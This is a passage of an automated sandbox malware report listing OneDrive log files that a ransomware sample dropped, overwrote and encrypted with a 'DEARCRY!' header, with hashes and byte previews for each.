                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2019-06-27_102023_cd4-fc0.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1123056
                                                              Entropy (8bit):7.999839756893432
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:8E29A5EBC45669315F4666C1812C4D4C
                                                              SHA1:E3468F47B029FEF15BD80C52C2ED5B707864BBD2
                                                              SHA-256:D8927C179D2E675DDDAA861127BB3539F08E5DC6DB6BA0CBFBDA1B3848CE6F4D
                                                              SHA-512:8C4E02678BC3F2E8ED9651B84A6983CF7C2F81384322BF5419CDEE6C33C9E91A74DF87399E5BE23214FA58877BCF9A67520A59E80603F826FCA87F8CE45EC3E6
                                                              Malicious:true
                                                              Preview: DEARCRY!.......c#....5E.!.K.2..P$..nx..h....g.s..q..6d`..".Gt.S>$.].l....s.......xx..%-.....'...$xg.5.p.q.[#.x6...*.d..AL.......*<.t..!.{......<....lC.@.l..l.jt...(....c.B..C..v.0b...i...MU.../p.@..Y.Eu.}......vt....M..#....._..Gf.z.A.=x.-.q:...=...~....^.......WS..WT..0.b8..._..]......;.....n.....jjT...O..H..0.Jx.<...&.z@^4.v.c..ed.4...r......RX.0S..D.3...=...L......H.....)...tc...L{...0.9...L.p.........v.....J.^.>.$O~.....$......>..T(.lW}...\0.....Pd.....L>$..f!.R.67.c.$........h......-..D.....;?..C......d.zK.......bO&%.G....k..?..N.i..g.$#......N.B....v.Uc...C..........H....$.p.>..D..X.+"WA.z...b..9}8w.3...-~.[L......L.*7W....=1..9x...T..j]P.wf.V...{.M.x...Kc-..C..)..N..X4..$..:.......D....JG..[...b.2.>6.w.}v`..%.'...;).#.]H...L./..QH,.1......y...[.I.d.....S.y...<..\...m...v@.e..] X.k.~.'!...~...^..f..K..$z..g}...6-....).B.d..f.s.......L....K&...M......tyS..0..\.....I....G..).....17h...U.Sf.=.+.v..!......C.?.e.\i{..U...F.N5f..re....
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2019-06-27_172258_392-396.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):316432
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D218BA445507938E0C34EAAA1F1B4F4D
                                                              SHA1:A4055F6F0A49119DAEB27761DCA46A9DBFDE612C
                                                              SHA-256:74B1B0757A512BEA45E3594C39F829E5FBD6845DC5D3E45FAF98920C85AE7E1B
                                                              SHA-512:B729F7149682235D3F9DFE3EA102E1602B728C70C233336579D341A41E1999A5A23F64ABE7DC14F6F56E743F53D14673EDBCF7943058FEA4C93331C3BD6475B2
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2019-06-27_172258_392-396.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):317008
                                                              Entropy (8bit):7.9994215886209235
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:B99BDB7C61F43F327BD49CFCDAE43355
                                                              SHA1:FD5B2805ED9423944469C9DAECDF1FD661D9169B
                                                              SHA-256:B7ED182272DB9058430A56834470C5875D766CF23D96849CF39F25A7D127ED4A
                                                              SHA-512:096312A6D586AE544C34A11C38AA38CE562328F41F5DF0B029F82420309C112D0724C228F4401B5510756D4BBA974A114E529EE821A117A2F84BCBAC7686FC19
                                                              Malicious:true
                                                              Preview: DEARCRY!....1X...P...*..:1...PM.^..c&.........@{.c..S.%j..u...G.....O]..]......t!....N.f..K1....jtmR.n.)....4f.S..'......h....u..M0dG....6.v......B..vb....%.x..|t.@....w..Z............(uq!0.........a3..h....Q......Qp.d.,w..mb...]];..Z.1?..{..X...v6.....j..........|f@.sE...}..A..57....u.`.C.-.rWa.^.e..^+..j...*e........&a..9(.F....A?.......]..S.oG.M.......;.kG....i..f.i)....F.MX....{..U...y..AQ....f.*.......0....1..C.N..9..*1.....CfG.K......P.>....7B.v#.:..i.,.o|.lG.>.\..S......A.z<.(.........|..Hb........L.3u.....'#F..f...a..8p..)....vh...G......D8.m...c.zL/^jI.2.....Zu...!..$f.'......hW.]I..gL.....<)=4.f..Q...-.DPH..*}.o...&..Q2...W}..v'+..+.G..p..{)6.1.%..x....z..6....O..!.(^..H....._y..q.i.`...~.../....D.2."h.........V..s.*..p%zO...Z.X.'j.c/....h...<..X.:..D.......d.i...+..)...Gj..5..@....b.bVh...@Z...M.. d...Zq`m.F....}I....M.B..R.+}N.M/Y/....P.(............Ha...+..d....oA.b..C.6.p^...i.7yW....~.O`...`e%F..*j...f..%.Fx
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2020-07-23_165335_5620-5612.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):382908
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4036627A9B2D09EDA94080ECD26A9397
                                                              SHA1:20E0951084AB146D200A342538CAC05DA63D8C15
                                                              SHA-256:89F8FF5EDE6FEAE4AD7722B330B8C1596A70443C96C778E8F4AC32D5BEA1CA8E
                                                              SHA-512:9A0E07428D842DBC3201B1934B19218DF80FF6B0303C488422A2825ACAE3914E696E7DBAB8801617407D4B0828917D45DC2B5D04C7710DBE81AF80F9794EC863
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2020-07-23_165335_5620-5612.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):383472
                                                              Entropy (8bit):7.99955119985739
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:1C60FA34C2975F0A4CE9510899EAC508
                                                              SHA1:EAA91C7D24EE65EFF73B1572BBE3C942F28CBFEB
                                                              SHA-256:F9AEF9A8EDF3688EF995E868CB3206BE301ADB8E01F4CA1126283A83058E0641
                                                              SHA-512:7084423AFDDD89B46471ECBEB504C7597A7B84E85B51ABEDED992152EEEF676C859C246F1837BC8E73FB1A62A27678C00649C434AA83209B65F688E3EC8D4CBF
                                                              Malicious:true
                                                              Preview: DEARCRY!......b.....4..zh.1....F.h.R.|o.._....n.a.....p...y.F.N..Gb..I..I M....e....!.*aDbZ.V.t........Y.(j...n.g)..$.+....$2....A......L-r.....[..!....AgS.......{./..'{/x.^..@..@r.../.=l..K.o.......G3....J..P...|K.U...?Y}B..eM.T..<s..9v^........tL.D.r..6.............T...7.:^..#h..../..E.V.E.M.r.D.~Oa.TQ..<V.**Ti.....k.0C.@.....&:....{k.p..&..?..y..4.kw\..pC.?..+G.........v8..jO...\!M...3.........._.....D.r....g.......~fY!..N.y~.8rc.j{..V...v.Z.(...J..a.k(.4w..<[......b...=......(''...+F.t.`...g.K..|V9.R.........b...C..G...SYa...A.e...Tg.3...........V..:>(..."....X/>H..D...H../z.@...B.w...F"..=..'r.*.Z%4-.l...pb.+....2...F....e..B#$2.....s.$.h.7x.^~.....)M...5..G..`_...)*.X]r.)#y.S1F.sK.a..M....q].Jjz.1..i..n....?..q}K......6...I3D.`.m.._.. ....3...f....*..#..> ..p..%5..E.6.^..........I..5..ah.]S/...6.._.*./.}...C@..P..YC1...w....+M..g).Y..... ..5...q........P...].....<.%....#......b.......&..ittE.@T...r>......../..{..."...s.B...t
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2019-06-27_102023_125c-c90.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):93474
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CA28583D7ABC5DD0243941AE4CA5347A
                                                              SHA1:DEF27135D9E540FACBE4F2FE3F4CA020A2B158E1
                                                              SHA-256:141D92FF9AB0C72C19750C092FF13C204ED4B48F01236B95EC9ECA2E33ED0564
                                                              SHA-512:950F607DD1FF546A83BA903C4C697377D39BE2AF71412F0F144E32CD4DFA6B2FC33431CA1349552ECC172E47BBC1B58C58A12A4EA496D924A17DF7918F9B9330
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2019-06-27_102023_125c-c90.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):93768
                                                              Entropy (8bit):7.99789708320803
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:2FAD173961808723B335C96B7983A6AA
                                                              SHA1:B27CF97C3A34CE9BFE3BAECEAA2CBB88F0892894
                                                              SHA-256:3FD3AEC6061866D4FD6D79C36F934BACEB62C075ACAFD5398AA9B1D9667645FF
                                                              SHA-512:93E42046F80207658803F6540AA22254B3D9BB76F1E53C0BA969EAF62D72E68721F6D138FAA8687E7CFE02F12813E40AF53E4834E4F3CFE5A66D205F8510CA21
                                                              Malicious:true
                                                              Preview: DEARCRY!....!.?..%...>W.......UZ....o.s...F....Fi{.s.m......n:K....J[f.....K..2D29..jZ..;,.)..~e.....91...1|5.^.B).0..p./.k..l...iY.~..S.g...-..n.5..i(......]}....a!N\'...O..u.....G1.'J.[e.w.....+...........f..T.]....r.d...[..5.h.&..m...Y.U..k.....w...."m.........|.b.;m.. ...E..;......0S..=.y.:s@9./e..P....f=4...f....+...A].w...E.C..1c..EL.......4.J...).gO..@UH....CKk.........Y)..Nt..5.B..b.;..mk.x.M...t.K.o0.!@G.D.....o......W.l:..+.v.zU...yv..cOT.&b..fA.a.H..?.x..W.u....9_66..._.C...[......N.I..r.ng._....+O.7Y3jh..]..Kn.#......{.o.2:51..+.X..lA.M...a>...!..;..Z.....2G..q.$...t...hu..YU...8o.W.2..FR..67....V.<u....,,.....D.K.S.Sd..Tw...i..S.._.......P.........b2&lD...!......-.....$.H+..c.m..........r..*`d....)i..C.a.^A.O..g..x.N{..A1.\$$.Q~..<.+.>..C.8t....pR.....;...ZXE.*..M.p?!..t.)xS.....5...6.K1q0a.3..8..J..^.....W..Gxu...x...h.|%.l.`/9.K{.......4..lL.UW....j...u.q-'^.FQ!7...X..,.F.n)o.......?...:.e.b....;m....)an.~..B...
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2019-06-27_172244_4980-3048.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):40084
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:23994D53E2ACA59F7A99C50E579E328F
                                                              SHA1:0DB610618462C1D5305BF97CB69976C90D2E2164
                                                              SHA-256:C97807DBA3179F465280D24D33C0FB57DD061177E68093B2952872511BA7B58B
                                                              SHA-512:BD3B71C63963FE8496500A3A524A4601B0B5566BDA1A362FDE0CD49C36FC85E782AC00E960BBADC898C44D3B37E28286BD60FFE4D9E936B94EE51430E90E947F
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2019-06-27_172244_4980-3048.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):40376
                                                              Entropy (8bit):7.995275409395141
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:3BBFC52BEE5752F7C0B92A15A8A08C4F
                                                              SHA1:FB5BB37B7C8F014523EA18010016795A0C8C36BF
                                                              SHA-256:985F3C37966FA72E0F17F1533DFB786907306E069A78351CD2C48D0CAAE87229
                                                              SHA-512:FA453BCFE4CD4955F0CEEB0D432207C9FA319DD6807E29B682675C9109F562ED971D65E7D0F5A933B861B001F362B8A348F88CC5C82574F804B02E144017A8BC
                                                              Malicious:true
                                                              Preview: DEARCRY!.......E....DF.OG. .D~.V..D..4...5..,.......@..U,.}!.f..{6..O.XM..P>...}y.E.Y.-.y...r..y.T.k..e.}..+@......0.{D....|.R...I mf.u..U.W.`...&.K.j..y.......(?..-...`.r. "...:.....hOm2..L.y.v.jl.....8.6.....&.Iw|....r1.t......`.d(........[...(...<...8...............o..... l...9.7...r.O.%O.....Q_.I......`D.S.^"t..TZyB..V..Q.2`....y.S@T..i..jit....<..+...L...v.-P4.@qN&....cRZ..u.b`...B..........2ovo.......{.|.Fq|..F.%I.L.....x........Qs0vO.}Q..P..1i$r"..b....w.W..S..}7..G..k....EK..Y.......r..l]A.......1E?q.wm.....N.2.<t..5..Vzz.NmyP...i.D.9..1.E.|T".{..RY$F......n@..0.q..*.._K.....2..C.4........ !.....O.#$..p..A:!.1mZY..Y..7..)l.....^$3.#....C.m.O.....y |.Zj..D...5Z...5.,..K.3\^F......{...k8D...7....,rl...O..sXpi..+.pb3.).F'u.&..8..h.J....Q...K.......Yk.R...l...53.~.nWK......rd&OdkG...+.O.Y=#.XW.W....h{\..S.."...u0..........2....P....B.:S.y........_.W.0uh..}..0c|.......!.M..AJ.<...L.1.!C;i."....D....LvLd.C..t.F.n.-..R......@u..D..k..
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2020-07-23_165322_5816-5812.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):38408
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7EA087ED10F5724A2E78CE0D81605ADD
                                                              SHA1:CA82E89DD1FFF4045069039011CCFC066257F5E5
                                                              SHA-256:E703D5EDB38BC548C71D70CE76807E65EED371AF20D6D8840413315769787018
                                                              SHA-512:54F5268F50F8805C2292FAF9600588147C95DEA1DD136A070717D6FA59045D6CDF11F3AEE601B547EBDC8C152AB5A4326C2D04712B47A8E19D6B34C1FF0176B7
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2020-07-23_165322_5816-5812.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):38696
                                                              Entropy (8bit):7.995548986024422
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:82EAEE12E5D5C7872079E9AA54AF1406
                                                              SHA1:C79C6FEEBDFAB28B26D279047F489B1843ED87E7
                                                              SHA-256:0DDB76BD7C61BA1A79117504DBBD91A5D0C78B9AD8FFC597E5147EE8A3866C72
                                                              SHA-512:0B65BCF530ABA5DE69D7189A2F7B7602CE1084B728DE1C00097BED7BD7BA0E39D744E641CB90F26D79DC6B0ACF0FF5FA88DCA3235DD7238F5CB7C931DF5EA352
                                                              Malicious:true
                                                              Preview: DEARCRY!....b....z.$.C."..1.....W....g.o.....JB..}..4.".P....x.m.3..D..YXV.{.q8.I.1.Ou....A.w..O..b..=....\.t}.CSK.QtR.j.jC.r....*.....-^.v{Ir..g.>W.......&0U. ...+..........B.?+jf=....rL..@3p.....\.K[....8K../..n.L>.a. ..A..B8.......g..YB4.z...a,..i.....................C;.q.9...*=3...|6dP%.y...91#D..}S..9.jE..z.+}..$.R.-..w....io.tL.1..3...p...3....;..6...6~2g.n.........c.gm..Z...O.sW!.2.W#.%..vv..m....J@.~.....>.A..2'x.P.Tu!.......j.g.@.<..!.....^...,.'..........;.)...,39%{..&..7x....>&5iQ......z.f..O.g...u2B9...5=.'uL...DV~:.?. (.Q...%:...%\j..K.....d..].........b..$.(.x.....>2zXL..1V......}\.a.Dv..(..b.p8.LA)....n....q._.hV.*.....p.....n4.t.......7...[0........]...&......o)G..S.v...\AD.Y.r...5....H.~ndzvQ..o...ne...oL0..L.p=..1)X=.[~Cu..|../.".e..>a.]'..._.c.&.W.r$..T../...Jl...vg....-..~.G.....BaGh...l(.1.......T..h.......k;...t....+:..z.y.BP05.!O.......JvzR%2NK..Z...Y.....n-.!........... ..+/e.J._.~......7G.......@a......'...
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine_2020-07-27_071441_17bc-17b8.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):94298
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8413512B5F3FF47E42C7F9A478FB1BCA
                                                              SHA1:251577C7A1483D2E4DD7B82A7FA5B8D3BC51D6BE
                                                              SHA-256:6A1B3463A9EDA2FD3CF62BF7EA918868F9594B220E91FCEAD15C053DC55D0527
                                                              SHA-512:ADE849B325CB8314A3E0CDF0B94B0DF1659EAA9EB17CEBC062B80CB4ECE5074FE0844E90ECF78E3DEE12007B6FE38CC1779D86D6D415DBBDDB6476A3BD519033
                                                              Malicious:true
